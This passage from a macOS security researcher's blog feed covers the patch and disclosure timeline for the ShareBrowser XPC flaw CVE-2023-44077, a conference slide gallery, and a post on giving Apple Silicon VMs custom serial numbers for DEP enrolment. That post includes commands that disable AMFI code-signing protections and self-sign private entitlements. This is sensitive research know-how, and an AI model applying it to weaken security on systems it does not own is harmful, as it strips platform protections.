<p>The simplest answer without going too deep is to ensure there’s proper code signature verification on processes wanting to attach. This means comparing the calling binary to a trusted certificate like a notarized binary with the developer’s Team ID.</p>

<ul>
  <li>For macOS Ventura and newer: <a href="https://developer.apple.com/documentation/foundation/nsxpcconnection/3943309-setcodesigningrequirement?language=objc"><code class="language-plaintext highlighter-rouge">setCodeSigningRequirement</code></a></li>
  <li>For macOS Monterey and older: <a href="https://developer.apple.com/documentation/security/1396726-seccodecheckvalidity?language=objc"><code class="language-plaintext highlighter-rouge">SecCodeCheckValidity</code></a></li>
</ul>

<p>If we take a peek at a good platform citizen, such as <a href="http://s.sudre.free.fr/Software/Packages/about.html">WhiteBox’ Packages</a>, we see that they’ve implemented proper code signature checks that verify the authenticity of the application calling, and as such isn’t as easily abused:</p>

<p><img src="/images/posts/2024-01-18-CVE-2023-44077/packages_should_accept_connection.png" alt="" /></p>

<h2 id="reporting-process">Reporting process</h2>

<p>Overall a bit annoying process as with most companies lacking a security team, mainly caused by poor communication. While not expecting a bug bounty, there was no compensation, notification of a public release or even crediting us for the vulnerability…</p>

<p>Though overall the main issue we faced was that after reporting the issue, we didn’t get a proper team to respond until after we threatened to publicize the vulnerability and have a CVE ID associated.</p>

<p>Remember kids, threatening to run to the press doesn’t just work on Apple ;p</p>
<ul>
  <li>
    <p>This is a great reminder that you need to hold companies accountable, and using <a href="https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html">Project Zero’s 90+30 disclosure policy</a> is a great way to do so. (Thanks <a href="https://blog.kandji.io/author/devin-byrd">Devin Byrd (Wanderingbug)</a> for the tip!)</p>
  </li>
  <li>
    <p>Table reference: RIPEDA Consulting is where I work, and where I’ve been able to research and report this vulnerability.</p>
  </li>
</ul>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Sender</th>
      <th style="text-align: left">Topic</th>
      <th style="text-align: left">Date</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Vulnerability Discovered</td>
      <td style="text-align: left">September 14th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Vulnerability Reported to Client</td>
      <td style="text-align: left">September 19th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Vulnerability Reported to Studio Network Solutions</td>
      <td style="text-align: left">September 19th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">SNS</td>
      <td style="text-align: left">SNS Support’s Automated Reply</td>
      <td style="text-align: left">September 19th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">SNS</td>
      <td style="text-align: left">SNS Support’s Employee Reply</td>
      <td style="text-align: left">September 21st, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Response Back, asking for the existence of a security team</td>
      <td style="text-align: left">September 21st, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Escalation, warning of publication</td>
      <td style="text-align: left">September 24th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Request for CVE ID from MITRE</td>
      <td style="text-align: left">September 24th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">MITRE</td>
      <td style="text-align: left">Assigned CVE ID (CVE-2023-44077)</td>
      <td style="text-align: left">September 26th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">SNS</td>
      <td style="text-align: left">Replied back, reporting XPCs will be optional</td>
      <td style="text-align: left">September 27th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Requested confirmation that XPCs will be patched</td>
      <td style="text-align: left">September 27th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">SNS</td>
      <td style="text-align: left">Confirming XPC patch and providing sample build</td>
      <td style="text-align: left">October 4th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Request for update on release</td>
      <td style="text-align: left">December 5th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">SNS</td>
      <td style="text-align: left">Replying saying they’re slowly rolling out of v7 to clients</td>
      <td style="text-align: left">December 7th, 2023</td>
    </tr>
    <tr>
      <td style="text-align: left">SNS</td>
      <td style="text-align: left">Releasing ShareBrowser v7.0 (without notifying us…)</td>
      <td style="text-align: left">January 3rd, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">MITRE</td>
      <td style="text-align: left">CVE Published</td>
      <td style="text-align: left">January 17th, 2024</td>
    </tr>
  </tbody>
</table>

<h2 id="verifying-the-updated-bundles">Verifying the updated bundles</h2>

<p>Studio Network Solutions’ interim solution to this vulnerability was to strip all XPC services and have us deploy it to all machines we manage. Finally, after several months, we were able to grab an official copy to verify the fix.</p>

<p>Examining <a href="https://www.snsftp.com/guest/sharebrowser/7.0.0/ShareBrowser_v7.0.0.12.dmg?">ShareBrowser v7.0.0.12</a> (<a href="https://archive.org/details/share-browser-v-7.0.0.12">archive.org mirror</a>), we see they’ve stripped all but 1 launch service: <code class="language-plaintext highlighter-rouge">com.sns.sbdcmounthelper.plist</code></p>

<p><img src="/images/posts/2024-01-18-CVE-2023-44077/ShareBrowser-7-pkg.png" alt="" /></p>

<p>This service, as with before, points to <code class="language-plaintext highlighter-rouge">/Library/EVO ShareBrowser/sbdcmounthelper</code>. When we examine this daemon again, we see signature verification! Specifically ShareBrowser is verifying against their Team ID, <code class="language-plaintext highlighter-rouge">76PTYDYVW4</code> 🎉</p>

<p><img src="/images/posts/2024-01-18-CVE-2023-44077/sbdcmounthelper-signatures.png" alt="" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>Overall I’m fairly happy this vulnerability was patched however I would advise Studio Network Solution customers to be cautious when handling sensitive information through SNS products. As there doesn’t seem to be a security team, you should keep in mind that future vulnerabilities may not be handled with the most care.</p>

<p>Otherwise this was a really great learning opportunity for me. Since this initial discovery, RIPEDA has implemented <a href="https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html">Project Zero’s 90+30 disclosure policy</a> to avoid issues with delayed vendor rollouts in the future. And big thanks to <a href="https://blog.kandji.io/author/devin-byrd">Devin Byrd (Wanderingbug)</a>, <a href="https://theevilbit.github.io">Csaba Fitzl (theevilbit)</a>, and others on the <a href="https://macossec.slack.com/">macOSsec slack</a> for their help answering my questions!</p>

<p>And for everyone else developing XPC services, <strong><em>make sure you properly validate who’s connecting!</em></strong></p>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macOS" /><summary type="html"><![CDATA[A bit of a tangent from my usual work, but here with a fun one: CVE-2023-44077! A privilege escalation vulnerability in Studio Network Solution’s ShareBrowser application, thanks to unguarded XPC services 🎉.]]></summary></entry><entry><title type="html">BSides Calgary 2023 Talk: Legacy Macs, Modern Solutions. A Hacker’s Approach to Mac Sustainability.</title><link href="/macos/2023/11/16/BSIDES.html" rel="alternate" type="text/html" title="BSides Calgary 2023 Talk: Legacy Macs, Modern Solutions. A Hacker’s Approach to Mac Sustainability." /><published>2023-11-16T13:00:00+00:00</published><updated>2023-11-16T13:00:00+00:00</updated><id>/macos/2023/11/16/BSIDES</id><content type="html" xml:base="/macos/2023/11/16/BSIDES.html"><![CDATA[<p>At <a href="https://www.bsidescalgary.org">BSides Calgary 2023</a>, I got the amazing opportunity to speak for the first time! And for this talk, I chose to talk about macOS patchers, and more specifically how they work and some of the techniques OpenCore Legacy Patcher uses.</p>

<p>A link to the recording and slides attached below:</p>

<ul>
  <li><a href="https://www.youtube.com/watch?v=iTlQN_47Kcg">YouTube: BSides Calgary - Mykola Grymalyuk</a>
    <ul>
      <li>Unfortunately there is no audio for the first 10 minutes, and going forward general audio issues.</li>
    </ul>
  </li>
  <li><a href="https://github.com/khronokernel/khronokernel.github.io/blob/master/assets/Conferences/BSides-2023/BSides-2023-Legacy-Macs-Modern-Solutions.pdf">Slides: Legacy Macs, Modern Solutions</a>
    <ul>
      <li>If you’d prefer, the rest of this blog is a gallery you can scroll through below.</li>
    </ul>
  </li>
</ul>

<p><img src="/images/posts/2023-11-16-BSIDES/Slide-01.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-02.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-03.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-04.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-05.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-06.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-07.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-08.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-09.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-10.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-11.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-12.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-13.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-14.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-15.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-16.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-17.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-18.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-19.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-20.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-21.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-22.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-23.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-24.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-25.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-26.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-27.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-28.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-29.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-30.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-31.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-32.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-33.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-34.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-35.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-36.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-37.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-38.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-39.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-40.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-41.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-42.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-43.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-44.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-45.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-46.png" alt="" />
<img src="/images/posts/2023-11-16-BSIDES/Slide-47.png" alt="" /></p>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macOS" /><summary type="html"><![CDATA[At BSides Calgary 2023, I got the amazing opportunity to speak for the first time! And for this talk, I chose to talk about macOS patchers, and more specifically how they work and some of the techniques OpenCore Legacy Patcher uses.]]></summary></entry><entry><title type="html">Apple Silicon and Virtual Machines: Custom Serials, DEP Enrolment and the Secure Enclave</title><link href="/macos/2023/08/18/AS-VM-SERIAL.html" rel="alternate" type="text/html" title="Apple Silicon and Virtual Machines: Custom Serials, DEP Enrolment and the Secure Enclave" /><published>2023-08-18T13:00:00+00:00</published><updated>2023-08-18T13:00:00+00:00</updated><id>/macos/2023/08/18/AS-VM-SERIAL</id><content type="html" xml:base="/macos/2023/08/18/AS-VM-SERIAL.html"><![CDATA[<p>With my <a href="https://khronokernel.github.io/macos/2023/08/08/AS-VM.html">last post</a>, I briefly mentioned at the end that my next challenge was to figure out whether the usage of custom serial numbers or <a href="https://support.apple.com/en-us/HT204142">Automated Device Enrolment (ADE)</a> through the <a href="https://www.apple.com/mx/business-docs/DEP_Guide.pdf">Device Enrolment Program (DEP)</a> was possible on Apple Silicon VMs running macOS. Well today we’ll go over the challenges of getting DEP working, and how iCloud and Custom Kernel Collections all face the same issue.</p>

<hr />

<ul>
  <li><a href="#reversing-the-virtualization-stack">Reversing the Virtualization stack</a></li>
  <li><a href="#modding-virtualapple-to-gain-more-private-functions">Modding VirtualApple to gain more private functions</a></li>
  <li><a href="#granting-private-entitlements">Granting Private Entitlements</a></li>
  <li><a href="#booting-our-virtual-machine-with-custom-serial-numbers">Booting our Virtual Machine with custom serial numbers</a></li>
  <li><a href="#secure-enclave-the-missing-piece">Secure Enclave: The Missing Piece</a></li>
  <li><a href="#icloud-os-betas-and-kernel-collections">iCloud, OS Betas and Kernel Collections</a></li>
  <li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="reversing-the-virtualization-stack">Reversing the Virtualization stack</h2>

<p>To start, we’ll be delving into Apple’s Virtualization stack once more: <code class="language-plaintext highlighter-rouge">/System/Library/Frameworks/Virtualization.framework</code>.
What we’ll be looking for is references to serial numbers in the framework, and whether there are any exposed methods to supplement our own values.</p>

<p>After a bit of searching, class dumps and a <a href="https://github.com/Code-Hex/vz/wiki/Private-API-on-macOS-13">very useful page from the vz wiki</a>, we can see some interesting properties and methods exposed in Virtualization.framework:</p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Property</span>
<span class="k">@property</span> <span class="p">(</span><span class="n">T</span><span class="s">@"_VZMacSerialNumber"</span><span class="p">,</span><span class="n">R</span><span class="p">)</span> <span class="n">_serialNumber</span>

<span class="c1">// Class Method</span>
<span class="p">[</span><span class="n">VZMacMachineIdentifier</span> <span class="nf">_machineIdentifierWithSerialNumber</span><span class="p">:]</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th style="text-align: left"><code class="language-plaintext highlighter-rouge">_VZMacSerialNumber</code></th>
      <th style="text-align: left"><code class="language-plaintext highlighter-rouge">_machineIdentifierWithSerialNumber</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><img src="/images/posts/2023-08-18-AS-VM-SERIAL/Hopper-VZMacSerialNumber.png" alt="" /></td>
      <td style="text-align: left"><img src="/images/posts/2023-08-18-AS-VM-SERIAL/Hopper-machineIdentifierWithSerialNumber.png" alt="" /></td>
    </tr>
  </tbody>
</table>

<p>Notes:</p>

<ul>
  <li>Virtualization.framework currently only supports serial numbers of 10 characters. This means serial numbers from pre-2021, such as Intel machines and first-wave M1s, will be unsupported. Models released after the 2021 M1 iMac should be using this new format (ex. 14”/16” MacBook Pros)
    <ul>
      <li>Reference: <a href="https://www.macrumors.com/2021/05/05/purple-iphone-12-randomized-serial-number/">Apple Begins Transition to Randomized Serial Numbers With Purple iPhone 12</a></li>
    </ul>
  </li>
  <li>These private APIs were added in macOS Ventura, thus requiring Ventura or newer as the host. However, Monterey guest VMs can still be used with them.</li>
</ul>

<h2 id="modding-virtualapple-to-gain-more-private-functions">Modding VirtualApple to gain more private functions</h2>

<p>Now that we have these fun new APIs to try, we need an app we can modify. For this, we’ll be modding <a href="https://github.com//VirtualApple">Saagar Jha’s VirtualApple project</a>. With some help from <a href="https://github.com/dhinakg">DhinakG</a>, we’re all set to test our VM!</p>

<ul>
  <li><a href="https://github.com/dhinakg/VirtualApple">DhinakG’s fork of VirtualApple</a></li>
</ul>

<p>However, on Virtual Machine creation, we get an unfortunate error when trying to start a Virtual Machine with a custom serial number:</p>

<p><img src="/images/posts/2023-08-18-AS-VM-SERIAL/VirtualApple-Missing-Private-Entitlement.png" alt="" /></p>

<h2 id="granting-private-entitlements">Granting Private Entitlements</h2>

<p>After some brief debugging, I found that <code class="language-plaintext highlighter-rouge">com.apple.Virtualization.VirtualMachine.xpc</code> is dying with the following line:</p>

<blockquote>
  <p>FATAL: Unable to create a virtual machine with restricted devices.</p>
</blockquote>

<p><img src="/images/posts/2023-08-18-AS-VM-SERIAL/Console-XPC-Error.png" alt="" /></p>

<p>Throwing the XPC service in a decompiler, we find our issue:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">os_variant_has_internal_content</span><span class="p">(</span><span class="s">"com.apple.virtualization"</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">sub_10024efa8</span><span class="p">(</span><span class="s">"Restricted devices require the com.apple.private.virtualization entitlement."</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><img src="/images/posts/2023-08-18-AS-VM-SERIAL/Hopper-XPC-Error.png" alt="" /></p>

<p>To resolve this, we’ll need to sign VirtualApple with a private entitlement. Unfortunately for us, that means we need to disable AMFI.</p>

<p>As we did in the <a href="https://khronokernel.github.io/macos/2023/08/08/AS-VM.html">last blog post</a>, <a href="https://support.apple.com/en-ca/guide/mac-help/mchl82829c17/mac">boot into recoveryOS</a> and run the following in Terminal:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bputil --disable-boot-args-restriction
nvram 40A0DDD2-77F8-4392-B4A3-1E7304206516:boot-args='amfi=0x80'
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">amfi=0x80</code> is a boot argument that disables AMFI’s security restrictions, including allowing us to sign arbitrary entitlements on our applications.</p>
<ul>
  <li>This boot-arg is also known as <code class="language-plaintext highlighter-rouge">amfi_get_out_of_my_way=0x1</code></li>
</ul>

<hr />

<p>Once back in our main OS, we’ll need to add the following entitlement: <code class="language-plaintext highlighter-rouge">com.apple.private.virtualization</code></p>

<p>Simply add it to VirtualApple’s entitlements.plist, and resign:</p>

<ul>
  <li>You can also simply re-run the project with the updated entitlement if you don’t have an exported app.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign -f -s - --entitlements entitlements.plist VirtualApple.app
</code></pre></div></div>

<p><img src="/images/posts/2023-08-18-AS-VM-SERIAL/Codesign.png" alt="" /></p>

<h2 id="booting-our-virtual-machine-with-custom-serial-numbers">Booting our Virtual Machine with custom serial numbers</h2>

<p>Finally, we can boot our virtual machine with our custom serial! After a brief install using a Store Demo serial number we have access to, we see some success! Our machine successfully appears as an Demo Unit with the expected “Demo Registration: Please, Enter the demo mode activation code” message:</p>

<p><img src="/images/posts/2023-08-18-AS-VM-SERIAL/Apple-Store-Demo.png" alt="" /></p>

<p>Now for the real challenge, testing a serial number enrolled in DEP.</p>

<hr />

<p>Now for this test I’ll grab a 10 character serial number off a test machine and see if we can enroll in that machine’s MDM.</p>

<p>While install and initial setup went smoothly, we do hit a serious error:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>An error occurred while obtaining automatic configuration settings
The cloud configuration server is unavailable
</code></pre></div></div>

<p><img src="/images/posts/2023-08-18-AS-VM-SERIAL/Setup-Assistant-Failure-eBay.png" alt="" /></p>

<p>No matter the OS or the serial number, we keep hitting this activation error…</p>

<h2 id="secure-enclave-the-missing-piece">Secure Enclave: The Missing Piece</h2>

<p>After delving quite deep into the MDM enrolment flow, I found our core issue seems to be a missing <code class="language-plaintext highlighter-rouge">UCRT.pem</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mobileactivationd: [com.apple.mobileactivationd:daemon] UCRT DEP enrollment state requested by mdmclient
mdmclient: [com.apple.ManagedClient:MDMDaemon] [0:MDMDaemon:&lt;0x540&gt;] UCRTsmb5: DEP registered according to UCRT: UCRTDEPStateUnavailable
mdmclient: [com.apple.ManagedClient:MDMDaemon] [0:MDMDaemon:&lt;0x540&gt;] CloudConfiguration: isDeviceRegisteredWithDEP:  APNS: -1  UCRT: -1  ProvDEP: 0
</code></pre></div></div>

<p>A UCRT is a User Identity Certificate that’s sent from Apple’s servers after our machine generates an attestation from the SEP (Secure Enclave Processor) using CryptoTokenKit.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/usr/libexec/teslad</code> requests the UCRT from Apple through <code class="language-plaintext highlighter-rouge">-[MobileActivationMacOSDaemon issueUCRT:withCompletionBlock:]_block_invoke</code>, the request will result in <code class="language-plaintext highlighter-rouge">Server error: 400 (bad request)</code> and thus the rest of the DEP chain will fail.
    <ul>
      <li>Reference: <a href="https://support.apple.com/en-ca/guide/security/sec1f90fbad1/web">LocalPolicy signing-key creation and management</a></li>
    </ul>
  </li>
</ul>

<p>So why does our Virtual Machine fail to create a UCRT? Well unfortunately it seems to be caused by missing hardware, specifically the lack of a Secure Enclave in our virtual machine. During attestation, the Owner Identity Certificate (OIC) is requested from the Secure Enclave, however our Virtual Machine doesn’t support this and errors:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mobileactivationd: (libbootpolicy.dylib) [com.apple.BootPolicy:Library] BootPolicy: bootpolicy_get_oic: entry
mobileactivationd: (libbootpolicy.dylib) [com.apple.BootPolicy:Library] BootPolicy: SEP command 38 returned 3
mobileactivationd: (libbootpolicy.dylib) [com.apple.BootPolicy:Library] BootPolicy: assert: bpe == 0  (/AppleInternal/Library/BuildRoots/8ca92091-1d5a-11ee-a938-46d450270006/Library/Caches/com.apple.xbs/Sources/BootPolicy/dylib/dylib.c:1942)
mobileactivationd: (libbootpolicy.dylib) [com.apple.BootPolicy:Library] BootPolicy: bootpolicy_get_oic: exit: SEP storage (3)
</code></pre></div></div>

<p>Thus a proper attestation cannot be performed, and so the UCRT request fails.</p>

<hr />

<p>So how does the rest of the OS function when there’s no SEP? Well Apple developed <code class="language-plaintext highlighter-rouge">AppleVPBootPolicy.kext</code>, <code class="language-plaintext highlighter-rouge">AppleVPCredentialManager.kext</code> and <code class="language-plaintext highlighter-rouge">AppleVPKeyStore.kext</code> to handle the missing SEP and trick most of the OS into functioning correctly. Though as we can see, it’s not perfect and fails to handle our Attestation request.</p>

<p>If we reverse <code class="language-plaintext highlighter-rouge">/usr/lib/libbootpolicy.dylib</code> and examine <code class="language-plaintext highlighter-rouge">bootpolicy_get_oic</code>, we’ll see an invocation to the SEP:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">_bootpolicy_get_oic</span><span class="p">(</span><span class="kt">int</span> <span class="n">arg0</span><span class="p">,</span> <span class="kt">int</span> <span class="n">arg1</span><span class="p">)</span> <span class="p">{</span>
	<span class="p">...</span>
	<span class="n">result</span> <span class="o">=</span> <span class="n">__sep_command</span><span class="p">(</span><span class="mh">0x26</span><span class="p">,</span> <span class="p">...,</span> <span class="p">...,</span> <span class="p">...,</span> <span class="mh">0x1024</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><img src="/images/posts/2023-08-18-AS-VM-SERIAL/Hopper-bootpolicy_get_oic.png" alt="" /></p>

<p>From this, <code class="language-plaintext highlighter-rouge">__sep_command</code> invokes <code class="language-plaintext highlighter-rouge">__sep_send</code>, which implements an IOConnectCall for communication with <code class="language-plaintext highlighter-rouge">com.apple.security.BootPolicy</code> in IOService</p>
<ul>
  <li>Normally <code class="language-plaintext highlighter-rouge">com.apple.security.BootPolicy</code> would be <code class="language-plaintext highlighter-rouge">BootPolicy.kext</code> on bare metal, however in VMs <code class="language-plaintext highlighter-rouge">AppleVPBootPolicy.kext</code> will be taking this role.</li>
</ul>

<p>Inside of <code class="language-plaintext highlighter-rouge">AppleVPBootPolicy.kext</code>, the array <code class="language-plaintext highlighter-rouge">_command_functions[]</code>’s entries corresponds to different functions.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SEP command 38 = _command_get_oic()
</code></pre></div></div>

<p>However the contents of this function doesn’t provide anything of use, instead always returning error code 3:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">signed</span> <span class="n">__int64</span> <span class="nf">_command_get_oic</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kr">__asm</span> <span class="p">{</span> <span class="n">HINT</span>            <span class="err">#</span><span class="mh">0x22</span> <span class="p">}</span>
  <span class="k">return</span> <span class="mi">3LL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
  <li><a href="https://developer.arm.com/documentation/ddi0596/2020-12/Base-Instructions/HINT--Hint-instruction-"><code class="language-plaintext highlighter-rouge">HINT #0x22</code></a> translates to <code class="language-plaintext highlighter-rouge">0010 001</code>, which represents <a href="https://developer.arm.com/documentation/dui0801/h/A64-General-Instructions/PSB">Profiling Synchronization Barrier (<code class="language-plaintext highlighter-rouge">PSB</code>)</a>.
    <ul>
      <li>Thanks <a href="https://github.com/flagersgit">Flagers</a> for the tip</li>
    </ul>
  </li>
</ul>

<p>It seems that OIC handling was never implemented, most likely <code class="language-plaintext highlighter-rouge">#ifdef</code>‘d out of public versions.</p>

<h2 id="icloud-os-betas-and-kernel-collections">iCloud, OS Betas and Kernel Collections</h2>

<p>Another thing you may have noticed is that Apple Silicon Virtual Machines cannot sign into iCloud. Well the reason for this is also attestation related, since AuthKit.framework cannot setup a secure chain of trust. And guess what macOS 13.4 added? A new requirement for <a href="https://www.macrumors.com/2023/04/11/macos-ventura-watchos-beta-installation-change/">developer accounts to access macOS Betas</a>.</p>

<p>And for those needing to boot development kernels or test kernel extensions are also out of luck, as it seems <code class="language-plaintext highlighter-rouge">bputil</code>/<code class="language-plaintext highlighter-rouge">kmutil</code> cannot communicate with the SEP to configure boot for custom Kernel Collections including Auxiliary KCs meant for kexts in <code class="language-plaintext highlighter-rouge">/Library/Extensions</code>.</p>

<ul>
  <li>Steven Michaud has a thread in UTM’s repo on their research into custom Kernel Collections:
    <ul>
      <li><a href="https://github.com/utmapp/UTM/issues/4026">Cannot load 3rd party kexts #4026</a></li>
    </ul>
  </li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>While unfortunately this research journey didn’t result in any real successes for testing DEP workflows, it was still really interesting seeing how the enrolment setup functions as well as work with the private APIs in Virtualization.framework. Though it is quite frustrating seeing many development tools being unavailable in Virtual Machines, especially proper OS betas and custom kernel collections.</p>

<ul>
  <li>Some partial work-arounds available however:
    <ul>
      <li><a href="https://github.com/nick-botticelli/vma2pwn">vma2pwn</a></li>
      <li><a href="https://github.com/insidegui/VirtualBuddy/discussions/194#discussioncomment-6406771">Enabling macOS 14 beta updates in a virtual machine</a></li>
    </ul>
  </li>
</ul>

<p>Perhaps with macOS 15, we’ll finally get <code class="language-plaintext highlighter-rouge">VirtualMac3,1</code> and proper SEP virtualization. Though this is just wishful thinking ;p</p>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macOS" /><summary type="html"><![CDATA[With my last post, I briefly mentioned at the end that my next challenge was to figure out whether the usage of custom serial numbers or Automated Device Enrolment (ADE) through the Device Enrolment Program (DEP) was possible on Apple Silicon VMs running macOS. Well today we’ll go over the challenges of getting DEP working, and how iCloud and Custom Kernel Collections all face the same issue.]]></summary></entry></feed>